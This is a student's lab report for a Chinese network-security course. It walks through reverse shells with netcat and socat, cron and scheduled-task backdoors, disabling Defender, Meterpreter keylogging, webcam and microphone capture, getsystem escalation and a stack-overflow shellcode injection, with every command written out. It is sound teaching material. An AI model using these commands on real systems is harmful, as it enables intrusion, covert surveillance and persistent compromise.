20242422 2026-2027-1 《网络与系统攻防技术》实验二实验报告
20242422 2026-2027-1 《网络与系统攻防技术》实验二实验报告
1. 基础知识
- Netcat(nc):网络工具,可实现端口监听、TCP/UDP 连接、数据传输,常用于反弹 Shell 与文件传输。Cron 是 Linux 定时任务服务,可以按照设定时间自动执行命令,可用于持久化后门。
- Socat:多功能双向数据转发工具,功能强于 nc,能够创建监听端口、建立反向连接,Windows 下可获取交互式 Shell。Windows 任务计划程序用于创建定时任务,实现持久化后门。
- 反弹 Shell:靶机主动向外发起连接,连接攻击机监听端口,将靶机命令行传递给攻击机;适合靶机在内网、防火墙限制入站连接的场景。
- Shellcode:原始机器码,不需要依赖文件,直接在内存执行;PowerShell 可以调用 Windows API 在内存加载 shellcode,无落地文件,隐蔽性更强。
- Meterpreter:Metasploit 框架的高级内存载荷,注入进程内存运行、无落地文件,提供截屏、录音、键盘记录、提权等后渗透模块。
- 栈溢出:程序未对输入长度进行校验,超长输入覆盖返回地址,可将执行流劫持到注入的 shellcode;实验时关闭 ASLR 便于稳定利用。
- 虚拟机网络模式:VMware NAT 模式,攻击机 Kali 与靶机在同一网段,保证 IP 互通。实验前需要关闭靶机防火墙,避免阻断连接。
2. 实验内容
任务 1:Linux 靶机利用 Netcat + Cron 实现反弹 Shell 与定时持久后门
- 攻击机:Kali Linux;靶机:Linux 虚拟机
- 实验目标:使用 netcat 建立反弹 shell;配置 cron 定时任务,实现定时自动反弹 shell 持久后门。
任务 2:Windows 靶机利用 Socat + 任务计划程序实现反弹 Shell 与持久后门
- 攻击机:Kali Linux;靶机:Windows 虚拟机
- 实验目标:使用 socat 获取 Windows 靶机反弹 shell;创建 Windows 计划任务,实现开机 / 定时反弹 shell 持久后门。
任务 3:PowerShell 加载 Shellcode,获取 Meterpreter 会话
- 攻击机:Kali Linux;靶机:Windows 虚拟机
- 实验目标:msfvenom 生成 shellcode,编写 PowerShell 脚本在内存加载 shellcode,获取 meterpreter 反弹会话。
任务 4:MSF Meterpreter 后渗透——采集音频、摄像头、击键记录并尝试提权
- 攻击机:Kali Linux;靶机:Windows 虚拟机
- 实验目标:使用 msfvenom 生成 Windows Meterpreter 后门,利用 ncat/socat 传送到靶机并运行获取会话;使用 Meterpreter 模块采集麦克风音频、摄像头画面、键盘击键记录,并尝试 getsystem 提权。
任务 5:MSF 生成 Shellcode 注入 pwn1 获取反弹 Shell
- 攻击机:Kali Linux;靶机:Linux 虚拟机(运行实践1中的 pwn1 程序)
- 实验目标:使用 msfvenom 生成 Linux 反弹 shellcode,利用 pwn1 的栈溢出漏洞将 shellcode 注入并执行,获取反弹连接 Shell。
3. 实验过程
任务 1 Netcat + Cron(Linux)
- 查看 IP
攻击机 Kali 执行 ip a 查看 IP;靶机 Linux 执行 ip a 查看 IP,互相 ping 测试连通性。

- 攻击机开启 nc 监听
nc -lvp 4444

- 靶机执行反弹 shell 命令
nc 攻击机IP 4444 -e /bin/bash
攻击机成功获取靶机 shell,可执行命令。

- 配置 Cron 定时后门(靶机)
crontab -e
添加定时规则,每分钟自动反弹 shell:
-
-
-
-
- nc 攻击机IP 4444 -e /bin/bash
-
-
-
保存退出。crontab -l 查看定时任务。


- 验证持久后门
关闭现有 shell 连接,攻击机重新打开 nc 监听,等待 1 分钟,靶机自动反弹 shell。

- 实验清理
crontab -r 删除定时任务。
任务 2 Socat + Windows 任务计划程序
- 查看 IP
Kali 与 Windows 靶机分别查看 IP,ping 验证互通,关闭 Windows 防火墙。

- 攻击机 Kali 启动 socat 监听
socat TCP-LISTEN:5555,fork -

- Windows 靶机运行 socat 反弹程序
socat.exe TCP:攻击机IP:5555 EXEC:cmd.exe,pipes
攻击机成功拿到 Windows 的 cmd 交互式 shell。



- Windows 创建任务计划持久后门
打开任务计划程序,新建任务,触发器设置为计算机启动时,操作启动程序 socat.exe,参数填写反弹命令。

- 验证持久化
重启 Windows 虚拟机,攻击机保持 socat 监听,开机后自动反弹 shell。

- 实验清理
删除任务计划,关闭防火墙例外。

任务 3 PowerShell 加载 Shellcode 获取 Meterpreter 会话
- 前置准备:关闭 Windows Defender 实时保护(管理员 PowerShell)
Set-MpPreference -DisableRealtimeMonitoring $true

- Kali 使用 msfvenom 生成 64 位反弹 shellcode
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=KaliIP LPORT=4444 -f powershell

- Windows 靶机编写 shellcode.ps1 脚本
新建文本文档,粘贴生成的 shellcode 字节数组与加载代码,另存为 shellcode.ps1,编码 UTF-8。

- Kali 启动 msf 监听
msfconsole -q
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST KaliIP
set LPORT 4444
run


- Windows 靶机管理员 PowerShell 执行脚本
Set-ExecutionPolicy RemoteSigned
cd Desktop
.\shellcode.ps1
- Kali 验证 meterpreter 会话权限
会话成功弹回后执行:
getuid
ipconfig

- 实验环境清理
关闭会话,删除 ps1 脚本,恢复 Defender 实时保护:
Set-MpPreference -DisableRealtimeMonitoring $false
任务 4 Meterpreter 后渗透——音频、摄像头、击键记录与提权
- Kali 使用 msfvenom 生成 Windows Meterpreter 后门
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=KaliIP LPORT=5555 -f exe -o backdoor.exe
- 利用 ncat 将后门传送到 Windows 靶机
Windows 靶机先执行接收命令:
ncat --recv-only -l 7777 > backdoor.exe
Kali 发送文件:
ncat --send-only 靶机IP 7777 < backdoor.exe
- Kali 启动 msf 监听,靶机运行后门获取会话
msfconsole -q
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST KaliIP
set LPORT 5555
run
Windows 靶机运行 backdoor.exe,Kali 成功收到 Meterpreter 会话。


- 采集麦克风音频
record_mic -d 10
采集 10 秒音频,保存为 wav 文件。
- 采集摄像头画面
webcam_snap
拍摄靶机摄像头当前画面,保存为 jpg 文件。
- 键盘击键记录
keyscan_start
在靶机输入测试文本后,攻击机执行:
keyscan_dump
keyscan_stop
- 尝试提权
getuid
getsystem
getuid
提权后 getuid 返回 SYSTEM 权限。


- 实验环境清理
关闭会话,删除靶机上的 backdoor.exe,恢复 Defender 实时保护。
任务 5 MSF 生成 Shellcode 注入 pwn1 获取反弹 Shell
- 回顾实践 1 的 pwn1 漏洞,查看保护机制
pwn1 存在栈溢出漏洞,gets/read 读取过长输入可覆盖返回地址。查看保护并关闭 ASLR:
checksec ./pwn1
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

- Kali 使用 msfvenom 生成 Linux 反弹 shellcode
msfvenom -p linux/x64/shell_reverse_tcp LHOST=KaliIP LPORT=6666 -f c

- 编写 exploit 脚本构造 payload
将生成的 shellcode 字节填入缓冲区,构造 payload:NOP 滑板 + shellcode + 填充字节 + 返回地址(指向缓冲区中的 shellcode)。
- Kali 开启 nc 监听
nc -lvp 6666
- 靶机运行 pwn1,注入 payload 获取反弹 Shell
python3 exploit.py | ./pwn1
攻击机成功收到反弹 shell,执行 whoami、id 验证。


- 实验环境清理
关闭连接,恢复 ASLR,删除 exploit 脚本。
4. 问题及解决方案
- 问题 1:Netcat 反弹 shell 没有回显,命令输入无反应。
- 问题 1 解决方案:使用带 - e 参数支持的 GNU netcat 版本;检查靶机与攻击机网络连通,确认防火墙放行端口。
- 问题 2:Cron 定时任务不自动反弹。
- 问题 2 解决方案:检查 crontab 语法;确认靶机 nc 路径;验证靶机可以访问攻击机 IP 端口。
- 问题 3:Windows 执行 socat 反弹失败,连接超时。
- 问题 3 解决方案:关闭 Windows 防火墙;确认 socat 版本匹配系统位数;IP 地址填写攻击机真实 IP。
- 问题 4:Windows 任务计划重启后不自动运行。
- 问题 4 解决方案:任务勾选 “不管用户是否登录都要运行”,使用管理员权限运行。
- 问题 5:MSF 输入 run 提示 unknown command。
- 问题 5 解决方案:use 命令必须单独一行执行,等待提示符切换为 msf6 exploit(multi/handler) > 后,再执行 run。
- 问题 6:Meterpreter 后门 exe 被 Windows Defender 查杀,或靶机运行后 Kali 无法收到会话。
- 问题 6 解决方案:关闭 Windows Defender 实时保护或添加白名单;确认后门 LHOST/LPORT 与 handler 配置一致;必要时改用 reverse_https 载荷绕过检测。
- 问题 7:getsystem 提权失败,getuid 仍为普通用户。
- 问题 7 解决方案:确保 meterpreter 会话所在进程具备管理员权限(SeDebugPrivilege);若为普通权限,先使用 exploit/windows/local/bypassuac 等模块提权。
- 问题 8:webcam_snap、record_mic 无画面或无声音。
- 问题 8 解决方案:在 VMware 虚拟机设置中将摄像头、麦克风等设备连接到虚拟机;确认靶机系统已正确识别设备。
- 问题 9:shellcode 注入 pwn1 后程序段错误或未反弹。
- 问题 9 解决方案:确认 shellcode 位数与 pwn1 架构一致;关闭 ASLR;用 gdb 调试确定正确的偏移量与返回地址,确保返回地址指向 shellcode。
5. 学习感悟、思考等
本次实验通过 Netcat、Socat 工具完成反弹 Shell,并且利用 Linux cron、Windows 任务计划实现持久化后门。我理解了反弹 Shell 的原理,明白了持久化后门的危害。
反弹 Shell 是内网渗透常用手段,靶机主动外连可以绕过防火墙入站策略。定时持久化可以在靶机重启后持续维持权限。PowerShell 内存加载 shellcode 不需要落地文件,隐蔽性更强,是攻防中常见的攻击手段。
同时认识到系统自带的定时组件(Cron、任务计划程序)如果被恶意利用会带来严重安全风险,日常运维应当检查定时任务,及时清理未知任务,做好主机安全防护。
在任务 4 中,我使用 Meterpreter 成功采集了靶机的麦克风音频、摄像头画面与击键记录,并理解了 getsystem 提权的原理。这些功能展示了攻击者获取权限后可能造成的严重危害,也让我认识到端点行为检测与外设权限管理的重要性。任务 5 通过 MSF 生成 shellcode 注入 pwn1,将实践 1 的栈溢出漏洞与反弹 shell 结合起来,真正理解了 shellcode 的执行过程——漏洞只是入口,配合 shellcode 才能实现任意代码执行。
参考资料
- 课程实验作业要求(https://edu.cnblogs.com/campus/besti/2026-2027-1-24232424/homework/16725)
- 《反弹 shell 原理与实践》(http://www.cnblogs.com/rocedu/p/5182332.html)
浙公网安备 33010602011771号